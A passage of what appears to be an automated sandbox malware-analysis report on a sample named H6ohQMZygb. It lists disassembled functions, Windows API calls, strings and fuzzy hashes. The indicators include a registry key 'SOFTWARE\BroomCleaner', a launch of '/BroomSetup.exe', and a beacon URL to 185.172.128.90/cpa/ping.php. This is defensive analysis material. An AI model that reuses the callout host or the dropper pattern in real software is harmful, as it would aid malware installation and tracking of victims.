cess, xrefs: 02E0018D
kernel32.dll, xrefs: 02E0008F, 02E00095

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 3b47a710aec6264f4f3882c03a813646c76c8462877c025331683357caa0bcd6
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: A8526A74A01229DFDB64CF58C984BACBBB1BF09314F1480E9E54DAB391DB34AA95CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00429BB8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00429BBD
RegCreateKeyExA.KERNEL32(80000001,SOFTWARE\BroomCleaner,00000000,00000000,00000000,000F003F,00000000,?,00000000,Installed,00440E40,SOFTWARE\BroomCleaner), ref: 00429BE5
RegSetValueExA.KERNEL32(?,?,00000000,00000001,?,?,00440E40,00440E41,Installed,Installed), ref: 00429C68
RegCloseKey.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,185.172.128.90,/cpa/ping.php?substr=%s&s=ab&sub=%s,?), ref: 00429C89

Strings

SOFTWARE\BroomCleaner, xrefs: 00429BC5, 00429BD8
Installed, xrefs: 00429BC7, 00429BF5, 00429C14, 00429C15

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: CloseCreateH_prologValue
String ID: Installed$SOFTWARE\BroomCleaner
API String ID: 1996196666-529226407
Opcode ID: 9f9eb2820dfc86a9c32d6a1c31d10a3e4204866c8ab4715cf7f5cb986b6d02da
Instruction ID: 913f30aa670e2e57f5fe7b5d78fe2d2314ba048de8f0061c319106c56cb02987
Opcode Fuzzy Hash: 9f9eb2820dfc86a9c32d6a1c31d10a3e4204866c8ab4715cf7f5cb986b6d02da
Instruction Fuzzy Hash: 5C317871A00229EEEB159FA9DC949FEBB78FB44358F44012EE802B7291C7B55D05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00429CE9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExA.SHELL32(?,/BroomSetup.exe), ref: 00429D2B
WaitForSingleObject.KERNEL32(?,00008000), ref: 00429D3F
CloseHandle.KERNEL32(?), ref: 00429D48

Strings

/BroomSetup.exe, xrefs: 00429CF4

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: CloseExecuteHandleObjectShellSingleWait
String ID: /BroomSetup.exe
API String ID: 3837156514-1897133622
Opcode ID: 96c14853c3a7e8e2b5ce62936435f221afcc3883c14d81a7c576005553293562
Instruction ID: 289e95c86a2660520e47d3edc0c47e61b2db25da17c5fa21b7473a8089e386c4
Opcode Fuzzy Hash: 96c14853c3a7e8e2b5ce62936435f221afcc3883c14d81a7c576005553293562
Instruction Fuzzy Hash: DC011A31E0061CEBDF15EFA9E9859DDBBF8EF48750F408126F905A6260EB709A41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0042659E Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000,?,00000000), ref: 004265B2
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 004265C0
GetFileAttributesA.KERNEL32(00000000,00000000,?,00000000), ref: 0042665E
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 00426673

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: bc9812387b1be4fae2809bf8fe5bce98af6dd87575f9f6e939464d4a7721b41a
Instruction ID: a2706bf42e1088a6665dd5753446d9ffe52b705b6eaa9db7869d8534fe0c2be2
Opcode Fuzzy Hash: bc9812387b1be4fae2809bf8fe5bce98af6dd87575f9f6e939464d4a7721b41a
Instruction Fuzzy Hash: F7216831B002345BCF314E7878D47EEBBA94F16714F8502EAD591A3386CE744D8B8AA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041658D Relevance: 4.6, APIs: 3, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNEL32(00000000,00000000,?,?,004164AB,?,?,?,?,?,?,?,?,?,0042B0ED,000000FF), ref: 004165E3
GetLastError.KERNEL32(?,004164AB,?,?,?,?,?,?,?,?,?,0042B0ED,000000FF), ref: 004165ED
__dosmaperr.LIBCMT ref: 00416618

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: 8b29b3945fb6cf0505a99def1682037c7b5fe8d408549fb5ee9a0f79985c4f6c
Instruction ID: 3266d4e8cf434052f1b4a694a06788a0aae1a9583474c7071d7cd715a55559e3
Opcode Fuzzy Hash: 8b29b3945fb6cf0505a99def1682037c7b5fe8d408549fb5ee9a0f79985c4f6c
Instruction Fuzzy Hash: 7F0148366051206AD6249375B889BFF675B4B82738F26062FED09872C2CE7CDCC1815D

Uniqueness

Uniqueness Score: -1.00%

Function 0042791B Relevance: 4.6, APIs: 3, Instructions: 59
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00425DB6,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00425DB6,?,00426BC2,00000141,000000FF,?,00000000), ref: 00427938
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,00000140,00000000,?,00426BC2,00000141,000000FF,?,00000000,?,0042630F), ref: 00427959
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000001,?,00426BC2,00000141,000000FF,?,00000000,?,0042630F,?,?,?,00000244), ref: 00427993

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: File$Pointer$Create
String ID:
API String ID: 250661774-0
Opcode ID: b585798ccdbcb39c239d66e5883abfa44c776cc59793f97e9037c16ac0474d6c
Instruction ID: 1f2c2a164ad1a24fe5f7290d36e45d599f089e65baa84e9eb0b490cca4739097
Opcode Fuzzy Hash: b585798ccdbcb39c239d66e5883abfa44c776cc59793f97e9037c16ac0474d6c
Instruction Fuzzy Hash: AF1182B0744311BEE7209F799C89F56BBD8EB09364F504665F968E72C1D3B4A8408768

Uniqueness

Uniqueness Score: -1.00%

Function 004198F7 Relevance: 4.6, APIs: 3, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000002,?,00000000,?,?,?,?,?,004199A6,?,?,00000002,00000000), ref: 00419930
GetLastError.KERNEL32(?,004199A6,?,?,00000002,00000000,?,004162D6,?,00000000,00000000,00000002,?,?,?,?), ref: 0041993A
__dosmaperr.LIBCMT ref: 00419941

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: ebd31dcb7675ed2754979a8c31ca6b61f8ba2e2fc2589391431ac9cf3ccf68bd
Instruction ID: 79167bda9f48c3cd1e3fc709e29c74fba9e4aec928b7de19711c97d7bdb96a10
Opcode Fuzzy Hash: ebd31dcb7675ed2754979a8c31ca6b61f8ba2e2fc2589391431ac9cf3ccf68bd
Instruction Fuzzy Hash: C9016832720104ABCB158F99DC058EE3B29EB85330B28025EF81097380EA74DD918798

Uniqueness

Uniqueness Score: -1.00%

Function 00429CA0 Relevance: 4.5, APIs: 3, Instructions: 35
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000,?,00002000,00000000,?,?,00425A20,00000001,?,00002000), ref: 00429CBB
WriteFile.KERNEL32(00000000,?,?,00002000,00000000,?,00425A20,00000001,?,00002000,185.172.128.90,/cpa/ping.php?substr=%s&s=ab&sub=%s,?), ref: 00429CD3
FindCloseChangeNotification.KERNEL32(00000000,?,00425A20,00000001,?,00002000,185.172.128.90,/cpa/ping.php?substr=%s&s=ab&sub=%s,?), ref: 00429CDC

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: File$ChangeCloseCreateFindNotificationWrite
String ID:
API String ID: 3805958096-0
Opcode ID: 42291f48848ce669c2ed238467beaab1ee687abc7224ff6abfab80f0d2d5b1c9
Instruction ID: d29d51aad67536163ca019ffdbaf7d4b601d8ba8e8b30516b56c75da88f1abb1
Opcode Fuzzy Hash: 42291f48848ce669c2ed238467beaab1ee687abc7224ff6abfab80f0d2d5b1c9
Instruction Fuzzy Hash: ECE06572700224BBD73107DAAC88FABBEACEF896A4F540125FB01D2114DA61DC0187B4

Uniqueness

Uniqueness Score: -1.00%

Function 00419F7C Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 227fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,00000000), ref: 0041A1E6

Strings

@, xrefs: 0041A03D

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: CreateFile
String ID: @
API String ID: 823142352-2766056989
Opcode ID: 41f28c5a0981dc9750233b5a9f79aca76fc9299c93a1031486e1d45b123b11e7
Instruction ID: d53205aeb3c3ed53fa74ad12a73ee3b942c7796292fe4ea7f2771195b26c664c
Opcode Fuzzy Hash: 41f28c5a0981dc9750233b5a9f79aca76fc9299c93a1031486e1d45b123b11e7
Instruction Fuzzy Hash: 7361F571902109AAEB218E68DD85BFB3B55DB04368F280227E914D6392C33DCDE1829B

Uniqueness

Uniqueness Score: -1.00%

Function 00401BB2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00401BB7

Part of subcall function 0040307C: __EH_prolog.LIBCMT ref: 00403081

Part of subcall function 00402FE5: __EH_prolog.LIBCMT ref: 00402FEA
Part of subcall function 00402FE5: std::locale::_Init.LIBCPMT ref: 0040300E

Part of subcall function 00402F6B: __EH_prolog.LIBCMT ref: 00402F70

Part of subcall function 0040187F: __CxxThrowException@8.LIBVCRUNTIME ref: 004018C9
Part of subcall function 0040187F: std::system_error::system_error.LIBCPMT ref: 004018D8

Strings

v*@, xrefs: 00401BD0

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: H_prolog$Exception@8InitThrowstd::locale::_std::system_error::system_error
String ID: v*@
API String ID: 3966877926-3062513736
Opcode ID: 3cb422497badbcf41107ff9be4080ac3c4023921eae7724c9086a8743e1a44ad
Instruction ID: 4b39120855201e11d4e5a469b10eb46d8eb0d3cdfc7f87e912e8af9d2a9c1bd0
Opcode Fuzzy Hash: 3cb422497badbcf41107ff9be4080ac3c4023921eae7724c9086a8743e1a44ad
Instruction Fuzzy Hash: 532190B1A11105AFDB08DF19C849A6AF7F9FF48348F14822EE115A7341C7B8DD048B94

Uniqueness

Uniqueness Score: -1.00%

Function 004260D8 Relevance: 3.1, APIs: 2, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004260DD

Part of subcall function 00401BB2: __EH_prolog.LIBCMT ref: 00401BB7

Part of subcall function 00402403: __EH_prolog.LIBCMT ref: 00402408

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004261BF

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: H_prolog$Ios_base_dtorstd::ios_base::_
String ID:
API String ID: 420165198-0
Opcode ID: 04ad4f000804a4b3f8bcfefaa38ab607f9a40b956415f069face42acc0293c6b
Instruction ID: 34353edf46c274570454540b7be13a514ecec8d3e399425004e0446f8ae534ca
Opcode Fuzzy Hash: 04ad4f000804a4b3f8bcfefaa38ab607f9a40b956415f069face42acc0293c6b
Instruction Fuzzy Hash: C431E474D01119EBDB14EF95E995AEDF7B4FF48304F1081AEE405B3681EB786A08CB68

Uniqueness

Uniqueness Score: -1.00%

Function 02E00E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,02E00223,?,?), ref: 02E00E19
SetErrorMode.KERNEL32(00000000,?,?,02E00223,?,?), ref: 02E00E1E

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 1506ab665007b49433f57c774b37e0b1933d1c24b06816fb6cf45a0a4b288c09
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 89D0123114512877DB002A94DC09BCD7B1CDF05B66F008011FB0DE9080C770954146E5

Uniqueness

Uniqueness Score: -1.00%

Function 0041891B Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d60e7045bc5f512df4bc449e7bcd5e924441da8998f4829334179d90299ca252
Instruction ID: 0392b9d31fcdc511a4e216eddd5f435878008b93120a94dc0dae8cfa6eb2fa22
Opcode Fuzzy Hash: d60e7045bc5f512df4bc449e7bcd5e924441da8998f4829334179d90299ca252
Instruction Fuzzy Hash: 4651D671A00104AFDB10CF69C840BEA7BA5EF853A4F19815FE8499B351CB75DD82CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00401F2B Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00402008

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: ac8cf7d04b6167f5de6f12eebbc48153369ddde20d724c363222863fae7049b8
Instruction ID: f89f857828055dbc18e7a116322fcfad61437a1f9bc0c5a6990c772444aef605
Opcode Fuzzy Hash: ac8cf7d04b6167f5de6f12eebbc48153369ddde20d724c363222863fae7049b8
Instruction Fuzzy Hash: 65317C31604706AFC710DE29C884A5ABBA0BF88354F04863FFD54A73A1D779D854CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004024A1 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004024A6

Part of subcall function 0040187F: __CxxThrowException@8.LIBVCRUNTIME ref: 004018C9
Part of subcall function 0040187F: std::system_error::system_error.LIBCPMT ref: 004018D8

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: Exception@8H_prologThrowstd::system_error::system_error
String ID:
API String ID: 938716162-0
Opcode ID: d7c8b27cb832e66740afad98260ef628cdc699a4921184e07a7239167e874c5a
Instruction ID: 66c76ecdaf0a7b547b9e9bae97170335f8a437981ea8496dd0b99d9fe8e32b04
Opcode Fuzzy Hash: d7c8b27cb832e66740afad98260ef628cdc699a4921184e07a7239167e874c5a
Instruction Fuzzy Hash: FC317A71A00505AFCB28DF29C9D5E6AB7F5FF84318718C16EE426AB791C634EC00CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040257C Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402581

Part of subcall function 00402B06: __EH_prolog.LIBCMT ref: 00402B0B

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 10e5a44d9040e7ca4be85bc4ac0155cc98ee2f09da961bf835341f24a8f1193b
Instruction ID: c6edaeac4a62efc0cf3b0e816f7e8822f3dc0e74c6474a1bd9f5a185e4f6f862
Opcode Fuzzy Hash: 10e5a44d9040e7ca4be85bc4ac0155cc98ee2f09da961bf835341f24a8f1193b
Instruction Fuzzy Hash: 3431B870A00215EFCB15DF09CA84A9ABBB0FF48304F10806EE405AB391C7B9ED40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00426B61 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,00000140,00000000,?,00000000,?,0042630F,?,?,?,00000244,?,00002000,?,00429A47), ref: 00426B80

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: da601e8a3d49f3dfa2bea1ff3cb54a99491af0ee09abd1fb978189bade920a98
Instruction ID: 344551855bc7dadaad1553882ff79268528ebd38e610ac3bd8895e763ae73da2
Opcode Fuzzy Hash: da601e8a3d49f3dfa2bea1ff3cb54a99491af0ee09abd1fb978189bade920a98
Instruction Fuzzy Hash: B311E9353086219ADB288F39E4407B67BE59F85314F91026FD496CB251E675AD43C718

Uniqueness

Uniqueness Score: -1.00%

Function 00402403 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402408

Part of subcall function 00402B06: __EH_prolog.LIBCMT ref: 00402B0B

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d07feba3d17915ab52ef4d1281ba9c4049b95a0876b731ccb395e617fe03977c
Instruction ID: a9e9b02f07113cd4345e974b9b2f7300f5286fca53e9ab19ab1b109385984e90
Opcode Fuzzy Hash: d07feba3d17915ab52ef4d1281ba9c4049b95a0876b731ccb395e617fe03977c
Instruction Fuzzy Hash: 5B218E70600611DFC728DF15C54896ABBF1FF88314B10C26DE85A9B7A1C770EE41CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0041B189 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0041B1C7

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 7087fdc5b79931f95d0c1266325b44da24cc67e5eff059f45acaf9ed541e282d
Instruction ID: 964c85b8a86f329d5547a04dd71a205be8ebbb71cbe8376a9fe2685f96295cd2
Opcode Fuzzy Hash: 7087fdc5b79931f95d0c1266325b44da24cc67e5eff059f45acaf9ed541e282d
Instruction Fuzzy Hash: 8C11487190410AAFCB05DF58E9449DB7BF4EF49314F0140AAF809AB311D730D921CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0042784A Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00427607,00000002,00000000,00000000,00000000,?,004274B2,00000140,00000000,00000000), ref: 0042787D

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: eb224dff8a8235dbd485fe1c818d795e47e2cae39bf27e2759123a14794be0b8
Instruction ID: 8c89024dff8aa2e262f82655b8a415db55abfe5773efc7bec29b4cc2f75fa051
Opcode Fuzzy Hash: eb224dff8a8235dbd485fe1c818d795e47e2cae39bf27e2759123a14794be0b8
Instruction Fuzzy Hash: A8016770B0C125AFEF28AE15AC49B363799AB50358FB4849BE409CD251D22AC843DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 004277DF Relevance: 1.5, APIs: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000000,00000000,00000000,00000000,0000FFFF,0000FFFF,00000000,?,00427689,00000001,00000000,00000000,00000000,00000000), ref: 00427805

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 353a895dc81676de7c8af7af7f3ebbf128a3642a0b2b51d76767fd2147bb47d4
Instruction ID: f65770296aa2563e7e4776ef4bfb5cfae4caa7fdbabe5851b9a95fb69fadc23a
Opcode Fuzzy Hash: 353a895dc81676de7c8af7af7f3ebbf128a3642a0b2b51d76767fd2147bb47d4
Instruction Fuzzy Hash: 27015E72704115BFD708DF49D895AAAB7BAFF94344B04822AE40497651E3B0BD90CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E242 Relevance: 1.5, APIs: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4cf8e36d91aedaca6bc430b259b995a0898338a345b5ec6762a250096371abc
Instruction ID: 07a0eb3531636a9220f92f56f71477c9eb6ce482ae0e7165f1df762162d9b5bf
Opcode Fuzzy Hash: a4cf8e36d91aedaca6bc430b259b995a0898338a345b5ec6762a250096371abc
Instruction Fuzzy Hash: 59F0F9325016109BD6317A27DC0579B335C9F42338F160B6FF824B21C1CA7CD892869E

Uniqueness

Uniqueness Score: -1.00%

Function 00402F6B Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402F70

Part of subcall function 004035F5: __EH_prolog.LIBCMT ref: 004035FA
Part of subcall function 004035F5: std::_Lockit::_Lockit.LIBCPMT ref: 00403609
Part of subcall function 004035F5: int.LIBCPMT ref: 00403620
Part of subcall function 004035F5: std::locale::_Getfacet.LIBCPMT ref: 00403629
Part of subcall function 004035F5: std::_Lockit::~_Lockit.LIBCPMT ref: 00403670

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: H_prologLockitstd::_$GetfacetLockit::_Lockit::~_std::locale::_
String ID:
API String ID: 3585332825-0
Opcode ID: 9437be6263febb9ca9d470892e308113df4db72ecf6d534450f76113bba6fd01
Instruction ID: 53db064481074f3e2e9059926682f7e16f32f574c3b7a59f98dbf1aed88709c1
Opcode Fuzzy Hash: 9437be6263febb9ca9d470892e308113df4db72ecf6d534450f76113bba6fd01
Instruction Fuzzy Hash: 9B018F70610514AFDB24EB25DA0ABAE77F9EF04708F00402EF405B76D1DBF8AE058B58

Uniqueness

Uniqueness Score: -1.00%

Function 004262D8 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004262DD

Part of subcall function 00426B61: GetCurrentDirectoryA.KERNEL32(00000104,00000140,00000000,?,00000000,?,0042630F,?,?,?,00000244,?,00002000,?,00429A47), ref: 00426B80

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: CurrentDirectoryH_prolog
String ID:
API String ID: 1365920442-0
Opcode ID: 1981122eae842e2ec3a24901bf271436ff1d33ef0e29fc264080145e2480d2f8
Instruction ID: 66e3b67aa05b7bf1e95d5b9f07b0118033b9ca180b7d6ab7f4d7205191d34edb
Opcode Fuzzy Hash: 1981122eae842e2ec3a24901bf271436ff1d33ef0e29fc264080145e2480d2f8
Instruction Fuzzy Hash: F2F0C871B00211AAD714BB69A8067BE7EE9DB80324F01426FB405A72C2EFBC9D00865C

Uniqueness

Uniqueness Score: -1.00%

Function 0041A48A Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041A4CB

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: e7ba057ced36894faabbf0cfef253f3c85e20b59e21e5f6d36d312241c511836
Instruction ID: 771c9026320dd8d8f43dc75abf877927f290732db0178a0a4bac4a4e4a30142f
Opcode Fuzzy Hash: e7ba057ced36894faabbf0cfef253f3c85e20b59e21e5f6d36d312241c511836
Instruction Fuzzy Hash: A6F09A32511009BBCF109E96DC05CEA3B6EEF89334F10011AFE1492050DA7ACEA1ABA5

Uniqueness

Uniqueness Score: -1.00%

Function 00417BD5 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0041B65D,00000000,?,00410F7E,?,00000008,?,00411B29,?,?,?), ref: 00417C07

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c6c6047e7707875dcc3d522c67ba964b64599e444b1dad82cfcf35dc421bc012
Instruction ID: 86d13dcafd282b01595125e6b47b6bc9e859b0018bba6bdfac34a4c8e2c0d53e
Opcode Fuzzy Hash: c6c6047e7707875dcc3d522c67ba964b64599e444b1dad82cfcf35dc421bc012
Instruction Fuzzy Hash: 86E0E53120C620A6E63026669D00BEB7A699F42BA8F140133ED04A72C1EB68DCC182ED

Uniqueness

Uniqueness Score: -1.00%

